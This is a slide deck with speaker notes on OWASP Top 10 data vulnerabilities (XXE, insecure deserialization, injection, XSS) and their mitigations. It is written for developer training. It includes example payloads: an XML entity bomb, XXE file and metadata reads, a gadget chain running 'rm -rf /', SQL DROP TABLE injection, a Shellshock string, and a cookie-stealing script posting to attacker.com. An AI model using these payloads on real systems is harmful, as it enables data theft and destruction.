OWASP Top 10 - Data Vulnerabilities

Javier Eduardo Rojas Romero

January, 2021

OWASP Top 10 - Data Vulnerabilities

OWASP

Open Web Application Security Project (OWASP)

Publications: OWASP Top 10, Mobile Security Testing Guide, Software Assurance Maturity Model, …
Tools: Zed Attack Proxy, Dependency Check, …

OWASP Top 10

XML External Entities (XXE)

XXE

An XML External Entity attack takes advantage of an XML feature called Document Type Definitions; I’m not an XML expert, so apologies for any mistakes in what I’ll say next, but, basically, these DTDs allow you to specify inside a document what kind of tags can appear in the document, inside which tags, how many of them, etc., to sort of extend the concept of what is a valid XML document.

And, while they can be useful, they should only be used with trusted data.

This first example is known as the Billion Laughs Attack; in it, the attacker defines a piece of text (the lol here), and then defines another piece of text by saying “repeat that first piece of text X times”, and then another one that repeats the second piece of text several times, and so on and so forth.

When trying to parse this text, the parser first has to resolve those definitions, and when doing that, it will have to use lots of memory and CPU, so this becomes a Denial of Service attack.

It’s worth mentioning that this kind of thing can also happen with YAML, and in general you also have to be very paranoid when processing YAML files.

Now if the parsed XML is somehow shown back to whoever sent it —for example, to report an error validating the received xml— more attacks are possible.

This other example abuses the fact that one can put those definitions not only inline, but in external files. Now, if we assume that the attacker can guess the location of important files (and there are several system files with well-known locations), he can trick the xml parser into loading those files and getting their contents back.

Another possibility is loading those definitions from a URL, and with this an attacker can do things like leaking information as shown here, explore your internal network, or even escalate and make requests while impersonating the server that he attacked.

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///srv/webapp/conf/settings.py" >]>
<foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/" >]>
<foo>&xxe;</foo>

XXE - Vectors

SOAP
SAML (SSO)
XML-based documents (.docx, .odt, .gpx)
SVG
…

XXE - Mitigations

DO NOT XML
Configure your parser properly
- Disable DTDs
WAFs*

Insecure Deserialization

Now, insecure deserialization. Serialization is used when some application wants to save an instance of a class, perhaps send it to someone else, and get it back later, for example in an event-driven architecture, or to store the session data of a user.

This shows a simplified example of how a serialized object looks like, in this case using JSON: you put there the class name of the object, its attributes, and the values of each attribute.

Or as you can see in this other example, you can of course have an attribute that is another object instance.

Now, this is fine, and can be useful, but the problem is that when processing a serialized object, we are letting the attacker manipulate what objects we should create, because he has control of the class names, and it’s possible for him to put together a set of instances that abuse the deserialization mechanism to execute whatever code he wants, when the data is deserialized.

In this example, a couple of classes are connected so that, when deserialized, they execute a command under control of the attacker.

{
  "class": "com.endava.models.Transaction",
  "attributes": {
    "amount": "50.3",
    "originAccount": "29",
    "destinationAccount": "10",
    }
  }
}

{
  "class": "com.endava.utils.CacheManager",
  "attributes": {
    "initHook": {
      "class": "com.endava.utils.CommandTask",
      "attributes": {
        "command": "rm -rf /"
      }
    }
  }
}

Insecure Deserialization

The attacker here found a class that lets him define a command in an attribute, and run that command as part of a method call, …

and then he found another class, that has an attribute with the type he needs, …

and that also runs the method he wants on that attribute, as part of the deserialization protocol.

Now, this code is just an example, and you are possibly asking yourself how does the attacker know about these classes, but the thing with these attacks is that they can use any class that is available to your application; that is not only the classes you wrote, but those of the framework you use, and all of those in your classpath.

So most of these attacks just make the assumption that you are using a popular library, like apache commons, and build a chain of classes from classes there; that’s what’s called a gadget.

public class CacheManager implements Serializable {
    private final Runnable initHook;
    public void defaultReadObject (ObjectInputStream ois) {
        ois.defaultReadObject();
        initHook.run();
    }
}

public class CommandTask implements Runnable, Serializable {
    private final String command;
    public void run() {
        Runtime.getRuntime.exec(command);
    }
}

Insecure Deserialization - Impact

Denial Of Service
Application state manipulation
Remote Code Execution

Insecure Deserialization - Vectors

RPC/IPC
- Message brokers, web services, etc.
Caches, storage
Tokens, user sessions

Java
.NET
Python
PHP
…

Insecure Deserialization - Vectors

Pickle
Marshalling
Serializing
Freezing

XML
YAML
JSON
…

Insecure Deserialization - Mitigations

how can you avoid these problems, if you have to process serialized objects that you don’t fully trust?

as usual, the easiest way is to not have the problem. Don’t use serialization, if you can help it

now, if you have to, there are some alternatives: the first one is, just use something simpler, like plain JSON, and re-create your objects manually; that way you are in control of what objects you create, using what classes, etc.

or, perhaps, sign the objects when you serialize them, and check the signature before deserializing them; this way you can make sure that nobody has modified the object. This sounds easy but it’s usually hard to do, unless your framework helps you.

the other alternative is to search for a deserialization library written with these issues in mind, and checking really carefully their documentation.

Now, those two mitigations have a little star because they are not foolproof, or because they are quite complicated to use properly. If you can, avoid them, and settle for a simpler alternative.

That’s about it regarding deserialization

Don’t
Just Don’t
…
Use a simpler mechanism
Sign it*
Use a secure deserialization library*

Injection

Query HQLQuery = session.createQuery(
    "FROM accounts WHERE custID="
    + request.getParameter("id"));


id=48

SELECT *
FROM accounts
WHERE custID=48


id=999%20OR%20custID%3D1

SELECT *
FROM accounts
WHERE custID=999 OR custID=1


id=48%3B%20DROP%20TABLE%20accounts

SELECT *
FROM accounts
WHERE custID=48; DROP TABLE accounts

Injection - Vectors

shell commands/environment variables
Regexps
LDAP/Active Directory
eval (Ruby, Python, JavaScript, …)

Injection - not only SQL

ShellShock, 2014:

x='() { :;}; echo vulnerable'

https://website.com?x=%27%28%29%20%7B%20%3A%3B%7D%3B%20echo%20vulnerable%27

Impact: Linux, OS X, *BSD

Injection - Mitigations

again, what can be done about injection?

When it comes to SQL injection, using an ORM like JPA or hibernate will protect you, but keep in mind that even with those libraries it’s possible to create an injection vulnerability, when you create your queries by hand, without parameterizing them.

the best defense is to escape your data; as I said, the ORM usually handles this for you. Keep in mind that you must escape depending on context; the rules for escaping SQL are different from the rules for escaping a shell command; you can’t just escape the data, then store it, then trust it and use it in different contexts.

Another measure you can put in place is, again, to use a web application firewall, but once again remember it won’t cover you completely, but only against automated attacks, which are not that sophisticated.

Use your ORM carefully
Escape your data according to context before use
WAFs*

Cross Site Scripting (XSS)

Previous attacks

XSS

so, how does this work?

Let’s assume that we have an ecommerce website, where you can buy things, and you can also write reviews of the things you purchased; the code we see here is generating part of the page for a product, the section that shows the reviews: it takes the reviews of all the users, and puts those texts into the page.

However, since this code doesn’t escape HTML, but instead trusts what it read from the database, an attacker could write a comment like this, which injects a bit of code that steals the session from the user: when the browser reads this HTML, it will ran that javascript to read all the cookies, including the one for the session, and then submit that to a website he controls.

And this happens not only with HTML; here we can see a different attack, that takes advantage of the fact that you can put javascript code in a link


(String) userReviews += "<p class='userReview'>" 
   + product.userReviews[i] 
   + "</p>";


This sucks!</p>
<script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>
<p>


<p class='userReview'>This sucks!</p>
<script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>
<p></p>

XSS - Vectors

where are you vulnerable to cross site scripting? whenever you use any user data to generate ANY part of an HTML page: not only the body, but also tag names, or any property, like classes

Also, when generating URLs, or even CSS; you can get an attack from any of those places.

And of course, when generating Javascript, or even JSON.

This is a problem whenever you generate any of those kinds of files, either by hand, or even when using a template engine, like for example thymeleaf in java, or the django template engine, in python.

And, this is not only a problem for backend developers; you also have to keep this in mind as a frontend developer; in any framework, like react, vue, or others, it’s possible to expose yourself to a cross site scripting attack. The frameworks do protect you from lots of common mistakes, but not all of them, and you still have to watch out.

An additional vector is files uploaded from the user: although it’s unusual, images have been used to inject javascript into websites

HTML
- Body
- Tag names
- Prop. names/values
URLs
CSS
Javascript
JSON
Attachments/Uploads

XSS - Impact

Code Execution on the user’s browser
- Session hijacking
- Access to browser Local Storage
- Malware delivery

XSS - Mitigations

as usual, what to do about this?

first of all, be strict when validating primitive data types, like numbers, or plain strings.

but, the main thing to consider is: you must escape your data, right before you use it, according to the context where you want to use it; for example, the rules for escaping text in the HTML context are different from those for escaping text in the URL context, and also different from those in the Javascript context.

an important note: it’s better that you search for a library for doing the escaping, that has been vetted from a security point of view; don’t write your own. The best resource here is the owasp website, they maintain an index of these tools for several languages.

it’s also possible to ask the browser for help; the content-security-policy header allows you to say things like: all inline javascript is forbidden, or only javascript coming from the application can be trusted. This helps a lot, but doesn’t excuse you from responsibility

regarding files uploaded by users, the best approach is to store, and to serve them, from a different domain than the one used by your application; that way, even if they manage to sneak javascript in those files and load them in a page somehow, it won’t be able to affect your application, when you use content security policy.

regarding cookies, and sessions, make sure that your web application configures cookies as http-only cookies; those are cookies that can’t be accessed via javascript, so that’s a good security measure, in addition to escaping/encoding, etc.

Escape data right before use, according to context
Use Content-Security-Policy
Host user files in a separate domain
Use HTTPOnly cookies

XSS - Mitigations

Use modern templating engines … carefully


return <h1>Hello, {user_supplied}</h1>;


<div dangerouslySetInnerHTML={user_supplied} />

OWASP resources

The OWASP Top 10 pages give you:

Criteria to determine if your application might be exposed (arch./devel POV)
How susceptible of automation is each attack (devops POV)
Suggested mitigations (devel POV)
Attack examples (QA/Sec. POV)
How to test an application to assess vulnerability (QA/Sec. POV)

Thanks!

References - XXE

https://pypi.org/project/defusedxml/: example documents, along with explanations of the different security issues to be aware of when parsing XML.

References - Insecure Deserialization

https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles: a more in-depth presentation of the topic, presenting attacks, and discussing mitigations and why they are/are not useful to stop the issue.

References - Injection

https://pulsesecurity.co.nz/articles/postgres-sqli : A step-by-step discussion of how to take advantage of an improperly configured PostgreSQL server and a SQL Injection failure to achieve Remote Code Execution.

References - XSS

https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part1.html: A three-part series about what kind of XSS attacks are possible in React nowadays (2020), and how to guard against them.
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html: XSS prevention, server side.
https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html: XSS prevention, client side.